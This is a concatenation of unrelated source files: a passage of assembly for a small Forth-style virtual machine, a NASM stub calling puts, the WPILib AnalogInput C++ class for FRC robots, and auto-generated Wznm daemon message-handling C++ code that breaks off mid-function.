; scale accumulator add WQ, r9 ; add value of digit to accumulator jo mErr6Overflow ; check for 64-bit overflow now (31-bit comes later) inc r8 ; keep looping until end of word dec rcx jnz .forDigits ;--------------------- cmp WQ, 0x7fffffff ; Check for 31-bit overflow. At this point, ja mErr6Overflow ; valid accumulator range is 0..(2^32)-1 jmp .done ; making it here means successful decimal conversion ;///////////////////// .hex: ; Attempt to convert as 32-bit hex number xor WQ, WQ ; zero accumulator ;--------------------- .forHexDigits: ; Attempt to convert word as unsigned hex number mov r9b, [rdi+r8] ; get next byte of word (maybe digit, or maybe not) sub r9b, '0' ; attempt to convert from ASCII digit to uint8 cmp r9b, 9 jbe .goodHexDigit ;--------------------- ; Attempt to convert from A..F to 10..15 sub r9b, 7 ; 'A'-'0' = 17 --> 'A'-'0'-7 = 10 cmp r9b, 10 ; set r10b if digit >= 'A' setae r10b cmp r9b, 15 ; set r11b if digit <= 'F' setbe r11b test r10b, r11b ; jump if ((digit >= 'A') && (digit <= 'F')) jnz .goodHexDigit ;--------------------- ; Attempt to convert from a..f to 10..15 sub r9b, 32 ; 'a'-'0' = 49 --> 'a'-'0'-7-32 = 10 cmp r9b, 10 ; set r10b if digit >= 'a' setae r10b cmp r9b, 15 ; set r11b if digit <= 'f' setbe r11b test r10b, r11b ; jump if ((digit < 'a') || (digit > 'f')) jz .doneNaN ;--------------------- .goodHexDigit: imul WQ, 16 ; scale accumulator add WQ, r9 ; add value of digit to accumulator jo mErr6Overflow ; check for 64-bit overflow now (32-bit comes later) inc r8 ; keep looping until end of word dec rcx jnz .forHexDigits ;--------------------- xor rcx, rcx ; prepare rcx with 0x00000000fffffffff dec ecx cmp WQ, rcx ; check accumulator for 32-bit overflow ja mErr6Overflow ; making it here means successful conversion, so.. xor r10, r10 ; clear sign flag (r10b) and continue to .done ;///////////////////// .done: ; Conversion okay, so adjust sign and push to stack mov r11, WQ ; prepare twos-complement negation of accumulator neg r11 test r10b, r10b ; check if the negative flag was set for a '-' cmovnz WQ, r11 ; ...if so, swap accumulator value for its negative jmp mPush ; push the number ;------------------------ .doneNaN: ; failed conversion, signal NaN or VMFlags, VMNaN ret ;------------------------ .doneErr1: jmp mErr5NumberFormat ;------------------------ .doneErr2: jmp mErr5NumberFormat mCompileLiteral: ; Compile T to heap with integer literal token prefix cmp T, 0 ; dispatch to most appropriate size of literal jl .negative cmp T, 255 jbe .u8 ; number fits in 0..255 --> use U8 cmp T, 65536 jbe .u16 ; fits in 256..65535 --> use U16 jmp .i32 ; fits in 65535..2147483647 --> use I32 .negative: cmp T, -127 jge .i8 ; fits in -127..-1 --> use I8 cmp T, -32768 jge .i16 ; fits in -32768..-128 --> use I16 (otherwise, I32) ;... ; fall through to .i32 ;----------------------- .i32: ; Compile T as 32-bit signed literal with i32 token fPush tI32, .end ; -> {S: number, T: tI32 (token)} fDo CompileU8, .end ; -> {T: number} fDo CompileU32, .end ; -> {} ret ;----------------------- .u8: ; Compile T as 8-bit unsigned literal with u8 token fPush tU8, .end ; -> {S: number, T: tU8 (token)} fDo CompileU8, .end ; -> {T: number} fDo CompileU8, .end ; -> {} ret ;----------------------- .u16: ; Compile T as 16-bit unsigned literal with u16 token fPush tU16, .end ; -> {S: number, T: tU16 (token)} fDo CompileU8, .end ; -> {T: number} fDo CompileU16, .end ; -> {} ret ;----------------------- .i8: ; Compile T as 8-bit signed literal with i8 token fPush tI8, .end ; -> {S: number, T: tI8 (token)} fDo CompileU8, .end ; -> {T: number} fDo CompileU8, .end ; -> {} ret ;----------------------- .i16: ; Compile T as 16-bit signed literal with i16 token fPush tI16, .end ; -> {S: number, T: tI16 (token)} fDo CompileU8, .end ; -> {T: number} fDo CompileU16, .end ; -> {} ret ;----------------------- .end: ret mCompileU8: ; Compile U8 (1 byte) from T to end of heap fDo Here, .end ; -> {S: u8 value, T: [DP]} fDo ByteStore, .end ; -> {} (store 8-bit byte) fDo Here, .end ; -> {T: [DP] (before ByteStore)} fDo OnePlus, .end ; -> {T: [DP]+1} fPush DP, .end ; -> {T: DP} fDo WordStore, .end ; -> {} (add 1 to [DP]) .end: ret mCompileU16: ; Compile U16 (2 bytes) from T to end of heap fDo Here, .end ; -> {S: u16 value, T: [DP]} fDo WordStore, .end ; -> {} (store 16-bit word) fDo Here, .end ; -> {T: [DP] (before WordStore)} fDo TwoPlus, .end ; -> {T: [DP]+2} fPush DP, .end ; -> {T: DP} fDo WordStore, .end ; -> {} (add 2 to [DP]) .end: ret mCompileU32: ; Compile U32 (4 bytes) from T to end of heap fDo Here, .end ; -> {S: u32 value, T: [DP]} fDo Store, .end ; -> {} (store 32-bit dword) fDo Here, .end ; -> {T: [DP] (before WordStore)} fDo FourPlus, .end ; -> {T: [DP]+4} fPush DP, .end ; -> {T: DP} fDo WordStore, .end ; -> {} (add 4 to [DP]) .end: ret mHere: ; HERE -- Push address of first free dictionary byte fPush DP, .end ; -> {T: DP (address of DP)} fDo WordFetch, .end ; -> {T: [DP] (address of first free dictionary byte)} .end: ret mLast: ; LAST -- Push address of last dictionary item pointer fPush Last, .end ; -> {T: Last (address of pointer to last item)} .end: ret mIf: ; IF -- Jump forward to EndIf if T is non-zero test VMFlags, VMCompile ; in compile mode, jump to the compiler jnz mCompileIf ; ---------- ; TODO: figure out how to distinguish between this being invoked by the ; outer interpreter with compile mode on, the outer interpreter with ; compile mode off, or by the inner interpreter when running a compiled ; word. This shouldn't be available from the outer interpreter when not ; compiling, but I don't have a good mechanism to prevent that yet. ; ----------- fDo PopW, .end ; -> {}, {W: n (the value to be tested)} test W, W ; if value is 0, do not jump to ELSE/EndIf jnz .doTrue .doElse: movzx edi, word [Mem+ebp] ; load jump target virtual address mov ebp, edi ; jump to ELSE/EndIf ret .doTrue: add ebp, 2 ; advance instruction pointer past jump address .end: ret mElse: ; ELSE -- doesn't do anything except when compiling test VMFlags, VMCompile ; in compile mode, jump to the compiler jnz mCompileElse jmp mErr30CompileOnlyWord mEndIf: ; EndIf -- doesn't do anything except when compiling test VMFlags, VMCompile ; in compile mode, jump to the compiler jnz mCompileEndIf jmp mErr30CompileOnlyWord ; The IF ... ELSE ... EndIf works by compiling temporary jump target addresses, ; then pushing a pointer to the jump target address onto the data stack so it ; can be patched later when the actual jump target is known. IF pushes a ; pointer to its temporary jump target so the address can be patched by ELSE or ; EndIf. ELSE patches IF's jump address, compiles a jump to EndIf (temporary ; address), then pushes a pointer for EndIf to patch the address. EndIf just ; patches the address for IF or ELSE. EndIf doesn't care which one it was ; because the exact same action works for both options. mCompileIf: ; Compile if token+addr, push pointer for ELSE/EndIf or VMFlags, VMIf ; set VM bit for compiling-IF-block-in-progress fPush tIf, .end ; -> {T: tIf} fDo CompileU8, .end ; -> {} fDo Here, .end ; -> {T: [DP] (jump addr gets patched by else/endif)} fPush 0, .end ; -> {S: [CodeP], 0 (temp jump addr)} fDo CompileU16, .end ; -> {S: [CodeP]} (compile temporary jump addr) .end: ret mCompileElse: ; ELSE -- patch IF's addr, push addr for EndIf, ... fPush tJump, .end ; -> {S: [DP] (if), T: tJump} (compile jump tok) fDo CompileU8, .end ; -> {T: [DP] (if)} fDo Here, .end ; -> {S: [DP] (else jump address pointer)} ;... ; Compile a temporary jump address for EndIf to patch fPush 0, .end ; -> {[DP] (if), S: [CDP] (else), T: 0} fDo CompileU16, .end ; -> {S: [DP] (if), T: [DP] (else)} ;... ; Patch IF's jump target to current code pointer fDo Swap, .end ; -> {S: [DP] (else), T: [DP] (if)} fDo Here, .end ; -> {[DP] (else), S: [DP] (if), T: [DP] (now)} fDo Swap, .end ; -> {[DP] (else), S: [DP] (now), T: [DP] (if)} fDo WordStore, .end ; -> {T: [DP] (else, jump addr for EndIf to patch)} .end: ret mCompileEndIf: ; EndIf -- patch IF or ELSE's jump address fDo Here, .end ; -> {S: [DP] (old, to be patched), T: [DP] (now)} fDo Swap, .end ; -> {S: [DP] (now), T: [DP] (old)} fDo WordStore, .end ; -> {} and VMFlags, ~VMIf ; clear VM flag for compiling-IF-block-in-progress .end: ret mFor: ; FOR -- Start a FOR..;FOR loop test VMFlags, VMCompile ; stop if not in compile mode jz mErr30CompileOnlyWord ;----------------------- fPush tToR, .end ; -> {T: tToR} (>R token to use T as loop counter) fDo CompileU8, .end ; -> {} fDo Here, .end ; -> {T: [DP]} (push jump target address for ;FOR) .end: ret mEndFor: ; ;FOR -- If R is 0, drop R; else decrement R and jump test VMFlags, VMCompile ; if in compile mode, jump to the compiler jnz .compileEndFor ;----------------------- movq rdi, RSDeep ; make sure return stack is not empty cmp dil, 1 jb mErr20ReturnUnderflow test R, R ; check if R is 0 jz .endOfLoop ;----------------------- .decAndJump: ; else: decrement R and jump dec R movzx edi, word [Mem+ebp] ; get the jump address (follows tNext token) mov ebp, edi ; set I (ebp) to jump address ret ;----------------------- .endOfLoop: add ebp, 2 ; advance I (ebp) past the jump address jmp mRPopW ; drop R ;----------------------- .compileEndFor: ; Compile a tEndFor token with address of FOR fPush tEndFor, .end ; {S: [CodeP] (from FOR), T: tEndFor} fDo CompileU8, .end ; {T: [CodeP] (from FOR)} fDo CompileU16, .end ; {} (compile the address for backwards jump to FOR) .end: ret
bits 64 extern puts global foo section .data message: db 'foo() called', 0 section .text foo: nop push rbp mov rbp, rsp lea rdi, [rel message] %ifdef USE_PLT call puts wrt ..plt %else call puts %endif pop rbp ret
/*----------------------------------------------------------------------------*/ /* Copyright (c) FIRST 2008-2016. All Rights Reserved. */ /* Open Source Software - may be modified and shared by FRC teams. The code */ /* must be accompanied by the FIRST BSD license file in the root directory of */ /* the project. */ /*----------------------------------------------------------------------------*/ #include "AnalogInput.h" #include <sstream> #include "HAL/HAL.h" #include "LiveWindow/LiveWindow.h" #include "Timer.h" #include "WPIErrors.h" using namespace frc; const int AnalogInput::kAccumulatorModuleNumber; const int AnalogInput::kAccumulatorNumChannels; const int AnalogInput::kAccumulatorChannels[] = {0, 1}; /** * Construct an analog input. * * @param channel The channel number on the roboRIO to represent. 0-3 are * on-board 4-7 are on the MXP port. */ AnalogInput::AnalogInput(int channel) { std::stringstream buf; buf << "Analog Input " << channel; if (!SensorBase::CheckAnalogInputChannel(channel)) { wpi_setWPIErrorWithContext(ChannelIndexOutOfRange, buf.str()); return; } m_channel = channel; HAL_PortHandle port = HAL_GetPort(channel); int32_t status = 0; m_port = HAL_InitializeAnalogInputPort(port, &status); if (status != 0) { wpi_setErrorWithContextRange(status, 0, HAL_GetNumAnalogInputs(), channel, HAL_GetErrorMessage(status)); m_channel = std::numeric_limits<int>::max(); m_port = HAL_kInvalidHandle; return; } LiveWindow::GetInstance()->AddSensor("AnalogInput", channel, this); HAL_Report(HALUsageReporting::kResourceType_AnalogChannel, channel); } /** * Channel destructor. */ AnalogInput::~AnalogInput() { HAL_FreeAnalogInputPort(m_port); m_port = HAL_kInvalidHandle; } /** * Get a sample straight from this channel. * * The sample is a 12-bit value representing the 0V to 5V range of the A/D * converter in the module. The units are in A/D converter codes. Use * GetVoltage() to get the analog value in calibrated units. * * @return A sample straight from this channel. */ int AnalogInput::GetValue() const { if (StatusIsFatal()) return 0; int32_t status = 0; int value = HAL_GetAnalogValue(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return value; } /** * Get a sample from the output of the oversample and average engine for this * channel. * * The sample is 12-bit + the bits configured in SetOversampleBits(). * The value configured in SetAverageBits() will cause this value to be averaged * 2**bits number of samples. * This is not a sliding window. The sample will not change until * 2**(OversampleBits + AverageBits) samples * have been acquired from the module on this channel. * Use GetAverageVoltage() to get the analog value in calibrated units. * * @return A sample from the oversample and average engine for this channel. */ int AnalogInput::GetAverageValue() const { if (StatusIsFatal()) return 0; int32_t status = 0; int value = HAL_GetAnalogAverageValue(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return value; } /** * Get a scaled sample straight from this channel. * * The value is scaled to units of Volts using the calibrated scaling data from * GetLSBWeight() and GetOffset(). * * @return A scaled sample straight from this channel. */ float AnalogInput::GetVoltage() const { if (StatusIsFatal()) return 0.0f; int32_t status = 0; float voltage = HAL_GetAnalogVoltage(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return voltage; } /** * Get a scaled sample from the output of the oversample and average engine for * this channel. * * The value is scaled to units of Volts using the calibrated scaling data from * GetLSBWeight() and GetOffset(). * Using oversampling will cause this value to be higher resolution, but it will * update more slowly. * Using averaging will cause this value to be more stable, but it will update * more slowly. * * @return A scaled sample from the output of the oversample and average engine * for this channel. */ float AnalogInput::GetAverageVoltage() const { if (StatusIsFatal()) return 0.0f; int32_t status = 0; float voltage = HAL_GetAnalogAverageVoltage(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return voltage; } /** * Get the factory scaling least significant bit weight constant. * * Volts = ((LSB_Weight * 1e-9) * raw) - (Offset * 1e-9) * * @return Least significant bit weight. */ int AnalogInput::GetLSBWeight() const { if (StatusIsFatal()) return 0; int32_t status = 0; int lsbWeight = HAL_GetAnalogLSBWeight(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return lsbWeight; } /** * Get the factory scaling offset constant. * * Volts = ((LSB_Weight * 1e-9) * raw) - (Offset * 1e-9) * * @return Offset constant. */ int AnalogInput::GetOffset() const { if (StatusIsFatal()) return 0; int32_t status = 0; int offset = HAL_GetAnalogOffset(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return offset; } /** * Get the channel number. * * @return The channel number. */ int AnalogInput::GetChannel() const { if (StatusIsFatal()) return 0; return m_channel; } /** * Set the number of averaging bits. * * This sets the number of averaging bits. The actual number of averaged samples * is 2^bits. * Use averaging to improve the stability of your measurement at the expense of * sampling rate. * The averaging is done automatically in the FPGA. * * @param bits Number of bits of averaging. */ void AnalogInput::SetAverageBits(int bits) { if (StatusIsFatal()) return; int32_t status = 0; HAL_SetAnalogAverageBits(m_port, bits, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Get the number of averaging bits previously configured. * * This gets the number of averaging bits from the FPGA. The actual number of * averaged samples is 2^bits. The averaging is done automatically in the FPGA. * * @return Number of bits of averaging previously configured. */ int AnalogInput::GetAverageBits() const { int32_t status = 0; int averageBits = HAL_GetAnalogAverageBits(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return averageBits; } /** * Set the number of oversample bits. * * This sets the number of oversample bits. The actual number of oversampled * values is 2^bits. Use oversampling to improve the resolution of your * measurements at the expense of sampling rate. The oversampling is done * automatically in the FPGA. * * @param bits Number of bits of oversampling. */ void AnalogInput::SetOversampleBits(int bits) { if (StatusIsFatal()) return; int32_t status = 0; HAL_SetAnalogOversampleBits(m_port, bits, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Get the number of oversample bits previously configured. * * This gets the number of oversample bits from the FPGA. The actual number of * oversampled values is 2^bits. The oversampling is done automatically in the * FPGA. * * @return Number of bits of oversampling previously configured. */ int AnalogInput::GetOversampleBits() const { if (StatusIsFatal()) return 0; int32_t status = 0; int oversampleBits = HAL_GetAnalogOversampleBits(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return oversampleBits; } /** * Is the channel attached to an accumulator. * * @return The analog input is attached to an accumulator. */ bool AnalogInput::IsAccumulatorChannel() const { if (StatusIsFatal()) return false; int32_t status = 0; bool isAccum = HAL_IsAccumulatorChannel(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return isAccum; } /** * Initialize the accumulator. */ void AnalogInput::InitAccumulator() { if (StatusIsFatal()) return; m_accumulatorOffset = 0; int32_t status = 0; HAL_InitAccumulator(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Set an initial value for the accumulator. * * This will be added to all values returned to the user. * * @param initialValue The value that the accumulator should start from when * reset. */ void AnalogInput::SetAccumulatorInitialValue(int64_t initialValue) { if (StatusIsFatal()) return; m_accumulatorOffset = initialValue; } /** * Resets the accumulator to the initial value. */ void AnalogInput::ResetAccumulator() { if (StatusIsFatal()) return; int32_t status = 0; HAL_ResetAccumulator(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); if (!StatusIsFatal()) { // Wait until the next sample, so the next call to GetAccumulator*() // won't have old values. const float sampleTime = 1.0f / GetSampleRate(); const float overSamples = 1 << GetOversampleBits(); const float averageSamples = 1 << GetAverageBits(); Wait(sampleTime * overSamples * averageSamples); } } /** * Set the center value of the accumulator. * * The center value is subtracted from each A/D value before it is added to the * accumulator. This is used for the center value of devices like gyros and * accelerometers to take the device offset into account when integrating. * * This center value is based on the output of the oversampled and averaged * source from the accumulator channel. Because of this, any non-zero * oversample bits will affect the size of the value for this field. */ void AnalogInput::SetAccumulatorCenter(int center) { if (StatusIsFatal()) return; int32_t status = 0; HAL_SetAccumulatorCenter(m_port, center, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Set the accumulator's deadband. */ void AnalogInput::SetAccumulatorDeadband(int deadband) { if (StatusIsFatal()) return; int32_t status = 0; HAL_SetAccumulatorDeadband(m_port, deadband, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Read the accumulated value. * * Read the value that has been accumulating. * The accumulator is attached after the oversample and average engine. * * @return The 64-bit value accumulated since the last Reset(). */ int64_t AnalogInput::GetAccumulatorValue() const { if (StatusIsFatal()) return 0; int32_t status = 0; int64_t value = HAL_GetAccumulatorValue(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return value + m_accumulatorOffset; } /** * Read the number of accumulated values. * * Read the count of the accumulated values since the accumulator was last * Reset(). * * @return The number of times samples from the channel were accumulated. */ int64_t AnalogInput::GetAccumulatorCount() const { if (StatusIsFatal()) return 0; int32_t status = 0; int64_t count = HAL_GetAccumulatorCount(m_port, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); return count; } /** * Read the accumulated value and the number of accumulated values atomically. * * This function reads the value and count from the FPGA atomically. * This can be used for averaging. * * @param value Reference to the 64-bit accumulated output. * @param count Reference to the number of accumulation cycles. */ void AnalogInput::GetAccumulatorOutput(int64_t& value, int64_t& count) const { if (StatusIsFatal()) return; int32_t status = 0; HAL_GetAccumulatorOutput(m_port, &value, &count, &status); wpi_setErrorWithContext(status, HAL_GetErrorMessage(status)); value += m_accumulatorOffset; } /** * Set the sample rate per channel for all analog channels. * * The maximum rate is 500kS/s divided by the number of channels in use. * This is 62500 samples/s per channel. * * @param samplesPerSecond The number of samples per second. */ void AnalogInput::SetSampleRate(float samplesPerSecond) { int32_t status = 0; HAL_SetAnalogSampleRate(samplesPerSecond, &status); wpi_setGlobalErrorWithContext(status, HAL_GetErrorMessage(status)); } /** * Get the current sample rate for all channels * * @return Sample rate. */ float AnalogInput::GetSampleRate() { int32_t status = 0; float sampleRate = HAL_GetAnalogSampleRate(&status); wpi_setGlobalErrorWithContext(status, HAL_GetErrorMessage(status)); return sampleRate; } /** * Get the Average value for the PID Source base object. * * @return The average voltage. */ double AnalogInput::PIDGet() { if (StatusIsFatal()) return 0.0; return GetAverageVoltage(); } void AnalogInput::UpdateTable() { if (m_table != nullptr) { m_table->PutNumber("Value", GetAverageVoltage()); } } void AnalogInput::StartLiveWindowMode() {} void AnalogInput::StopLiveWindowMode() {} std::string AnalogInput::GetSmartDashboardType() const { return "Analog Input"; } void AnalogInput::InitTable(std::shared_ptr<ITable> subTable) { m_table = subTable; UpdateTable(); } std::shared_ptr<ITable> AnalogInput::GetTable() const { return m_table; }
/** * \file Wznmcmbd.cpp * inter-thread exchange object for Wznm combined daemon (implementation) * \copyright (C) 2016-2020 MPSI Technologies GmbH * \author Alexander Wirthmueller (auto-generation) * \date created: 28 Nov 2020 */ // IP header --- ABOVE #include "Wznmd.h" using namespace std; using namespace Sbecore; using namespace Xmlio; /****************************************************************************** namespace DpchWznmdAck ******************************************************************************/ void DpchWznmdAck::writeXML( xmlTextWriter* wr ) { xmlTextWriterStartElement(wr, BAD_CAST "DpchWznmdAck"); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); xmlTextWriterEndElement(wr); }; /****************************************************************************** namespace DpchWznmdQuit ******************************************************************************/ void DpchWznmdQuit::writeXML( xmlTextWriter* wr ) { xmlTextWriterStartElement(wr, BAD_CAST "DpchWznmdQuit"); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); xmlTextWriterEndElement(wr); }; /****************************************************************************** namespace DpchWznmdReg ******************************************************************************/ void DpchWznmdReg::writeXML( xmlTextWriter* wr , const ubigint nref ) { xmlTextWriterStartElement(wr, BAD_CAST "DpchWznmdReg"); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); writeString(wr, "scrNref", Scr::scramble(nref)); xmlTextWriterEndElement(wr); }; /****************************************************************************** class DpchWznmopdReg ******************************************************************************/ DpchWznmopdReg::DpchWznmopdReg() : DpchWznm(VecWznmVDpch::DPCHWZNMOPDREG) { }; bool DpchWznmopdReg::all( const set<uint>& items ) { if (!find(items, PORT)) return false; if (!find(items, IXWZNMVOPENGTYPE)) return false; if (!find(items, OPPRCN)) return false; return true; }; void DpchWznmopdReg::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); string srefIxWznmVOpengtype; bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "DpchWznmopdReg"); else basefound = checkXPath(docctx, basexpath); if (basefound) { if (extractUsmallintUclc(docctx, basexpath, "port", "", port)) add(PORT); if (extractStringUclc(docctx, basexpath, "srefIxWznmVOpengtype", "", srefIxWznmVOpengtype)) { ixWznmVOpengtype = VecWznmVOpengtype::getIx(srefIxWznmVOpengtype); add(IXWZNMVOPENGTYPE); }; if (extractUsmallintUclc(docctx, basexpath, "opprcn", "", opprcn)) add(OPPRCN); }; }; /****************************************************************************** class DpchWznmopdUnreg ******************************************************************************/ DpchWznmopdUnreg::DpchWznmopdUnreg() : DpchWznm(VecWznmVDpch::DPCHWZNMOPDUNREG) { }; bool DpchWznmopdUnreg::all( const set<uint>& items ) { if (!find(items, NREF)) return false; return true; }; void DpchWznmopdUnreg::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; string scrNref; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "DpchWznmopdUnreg"); else basefound = checkXPath(docctx, basexpath); if (basefound) { if (extractStringUclc(docctx, basexpath, "scrNref", "", scrNref)) { nref = Scr::descramble(scrNref); add(NREF); }; }; }; /****************************************************************************** class DpchAppWznm ******************************************************************************/ DpchAppWznm::DpchAppWznm( const uint ixWznmVDpch ) : DpchWznm(ixWznmVDpch) { jref = 0; }; DpchAppWznm::~DpchAppWznm() { }; bool DpchAppWznm::all( const set<uint>& items ) { if (!find(items, JREF)) return false; return true; }; string DpchAppWznm::getSrefsMask() { if (has(JREF)) return("jref"); else return(""); }; void DpchAppWznm::readJSON( Json::Value& sup , bool addbasetag ) { clear(); bool basefound; Json::Value& me = sup; if (addbasetag) me = sup[VecWznmVDpch::getSref(ixWznmVDpch)]; basefound = (me != Json::nullValue); if (basefound) { if (me.isMember("scrJref")) { jref = Scr::descramble(me["scrJref"].asString()); add(JREF); }; }; }; void DpchAppWznm::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); bool basefound; string scrJref; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, VecWznmVDpch::getSref(ixWznmVDpch)); else basefound = checkXPath(docctx, basexpath); if (basefound) { if (extractStringUclc(docctx, basexpath, "scrJref", "", scrJref)) { jref = Scr::descramble(scrJref); add(JREF); }; }; }; /****************************************************************************** class DpchAppWznmAlert ******************************************************************************/ DpchAppWznmAlert::DpchAppWznmAlert() : DpchAppWznm(VecWznmVDpch::DPCHAPPWZNMALERT) { }; bool DpchAppWznmAlert::all( const set<uint>& items ) { if (!find(items, JREF)) return false; if (!find(items, NUMFMCB)) return false; return true; }; string DpchAppWznmAlert::getSrefsMask() { vector<string> ss; string srefs; if (has(JREF)) ss.push_back("jref"); if (has(NUMFMCB)) ss.push_back("numFMcb"); StrMod::vectorToString(ss, srefs); return(srefs); }; void DpchAppWznmAlert::readJSON( Json::Value& sup , bool addbasetag ) { clear(); bool basefound; Json::Value& me = sup; if (addbasetag) me = sup["DpchAppWznmAlert"]; basefound = (me != Json::nullValue); if (basefound) { if (me.isMember("scrJref")) { jref = Scr::descramble(me["scrJref"].asString()); add(JREF); }; if (me.isMember("numFMcb")) {numFMcb = me["numFMcb"].asInt(); add(NUMFMCB);}; }; }; void DpchAppWznmAlert::readXML( xmlXPathContext* docctx , string basexpath , bool addbasetag ) { clear(); string scrJref; bool basefound; if (addbasetag) basefound = checkUclcXPaths(docctx, basexpath, basexpath, "DpchAppWznmAlert"); else basefound = checkXPath(docctx, basexpath); if (basefound) { if (extractStringUclc(docctx, basexpath, "scrJref", "", scrJref)) { jref = Scr::descramble(scrJref); add(JREF); }; if (extractUintUclc(docctx, basexpath, "numFMcb", "", numFMcb)) add(NUMFMCB); } else { }; }; /****************************************************************************** class DpchAppWznmInit ******************************************************************************/ DpchAppWznmInit::DpchAppWznmInit() : DpchAppWznm(VecWznmVDpch::DPCHAPPWZNMINIT) { }; /****************************************************************************** class DpchAppWznmResume ******************************************************************************/ DpchAppWznmResume::DpchAppWznmResume() : DpchAppWznm(VecWznmVDpch::DPCHAPPWZNMRESUME) { }; /****************************************************************************** class DpchEngWznm ******************************************************************************/ DpchEngWznm::DpchEngWznm( const uint ixWznmVDpch , const ubigint jref ) : DpchWznm(ixWznmVDpch) { this->jref = jref; mask = {JREF}; }; DpchEngWznm::~DpchEngWznm() { }; bool DpchEngWznm::all( const set<uint>& items ) { if (!find(items, JREF)) return false; return true; }; string DpchEngWznm::getSrefsMask() { if (has(JREF)) return("jref"); else return(""); }; void DpchEngWznm::merge( DpchEngWznm* dpcheng ) { DpchEngWznm* src = dpcheng; if (src->has(JREF)) {jref = src->jref; add(JREF);}; }; void DpchEngWznm::writeJSON( const uint ixWznmVLocale , Json::Value& sup ) { Json::Value& me = sup[VecWznmVDpch::getSref(ixWznmVDpch)] = Json::Value(Json::objectValue); if (has(JREF)) me["scrJref"] = Scr::scramble(jref); }; void DpchEngWznm::writeXML( const uint ixWznmVLocale , xmlTextWriter* wr ) { string tag = VecWznmVDpch::getSref(ixWznmVDpch); xmlTextWriterStartElement(wr, BAD_CAST tag.c_str()); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); if (has(JREF)) writeString(wr, "scrJref", Scr::scramble(jref)); xmlTextWriterEndElement(wr); }; /****************************************************************************** class DpchEngWznmAck ******************************************************************************/ DpchEngWznmAck::DpchEngWznmAck( const ubigint jref ) : DpchEngWznm(VecWznmVDpch::DPCHENGWZNMACK, jref) { }; /****************************************************************************** class DpchEngWznmAlert ******************************************************************************/ DpchEngWznmAlert::DpchEngWznmAlert( const ubigint jref , ContInfWznmAlert* continf , Feed* feedFMcb , const set<uint>& mask ) : DpchEngWznm(VecWznmVDpch::DPCHENGWZNMALERT, jref) { if (continf) this->continf = *continf; if (feedFMcb) this->feedFMcb = *feedFMcb; if (find(mask, ALL)) this->mask = {JREF, CONTINF, FEEDFMCB}; else this->mask = mask; }; bool DpchEngWznmAlert::all( const set<uint>& items ) { if (!find(items, JREF)) return false; if (!find(items, CONTINF)) return false; if (!find(items, FEEDFMCB)) return false; return true; }; string DpchEngWznmAlert::getSrefsMask() { vector<string> ss; string srefs; if (has(JREF)) ss.push_back("jref"); if (has(CONTINF)) ss.push_back("continf"); if (has(FEEDFMCB)) ss.push_back("feedFMcb"); StrMod::vectorToString(ss, srefs); return(srefs); }; void DpchEngWznmAlert::merge( DpchEngWznm* dpcheng ) { DpchEngWznmAlert* src = (DpchEngWznmAlert*) dpcheng; if (src->has(JREF)) {jref = src->jref; add(JREF);}; if (src->has(CONTINF)) {continf = src->continf; add(CONTINF);}; if (src->has(FEEDFMCB)) {feedFMcb = src->feedFMcb; add(FEEDFMCB);}; }; void DpchEngWznmAlert::writeJSON( const uint ixWznmVLocale , Json::Value& sup ) { Json::Value& me = sup["DpchEngWznmAlert"] = Json::Value(Json::objectValue); if (has(JREF)) me["scrJref"] = Scr::scramble(jref); if (has(CONTINF)) continf.writeJSON(me); if (has(FEEDFMCB)) feedFMcb.writeJSON(me); }; void DpchEngWznmAlert::writeXML( const uint ixWznmVLocale , xmlTextWriter* wr ) { xmlTextWriterStartElement(wr, BAD_CAST "DpchEngWznmAlert"); xmlTextWriterWriteAttribute(wr, BAD_CAST "xmlns", BAD_CAST "http://www.mpsitech.com/wznm"); if (has(JREF)) writeString(wr, "scrJref", Scr::scramble(jref)); if (has(CONTINF)) continf.writeXML(wr); if (has(FEEDFMCB)) feedFMcb.writeXML(wr); xmlTextWriterEndElement(wr); }; /****************************************************************************** class DpchEngWznmConfirm ******************************************************************************/ DpchEngWznmConfirm::DpchEngWznmConfirm( const bool accepted , const ubigint jref , const string& sref , const set<uint>& mask ) : DpchEngWznm(VecWznmVDpch::DPCHENGWZNMCONFIRM, jref) { this->accepted = accepted; this->jref = jref; this->sref = sref; if (find(mask, ALL)) this->mask = {ACCEPTED, JREF, SREF}; else this->mask = mask; }; bool DpchEngWznmConfirm::all( const set<uint>& items ) { if (!find(items, ACCEPTED)) return false; if (!find(items, JREF)) return false; if (!find(items, SREF)) return false; return true; }; string DpchEngWznmConfirm::getSrefsMask() { vector<string> ss; string srefs; if (has(ACCEPTED)) ss.push_back("accepted"); if 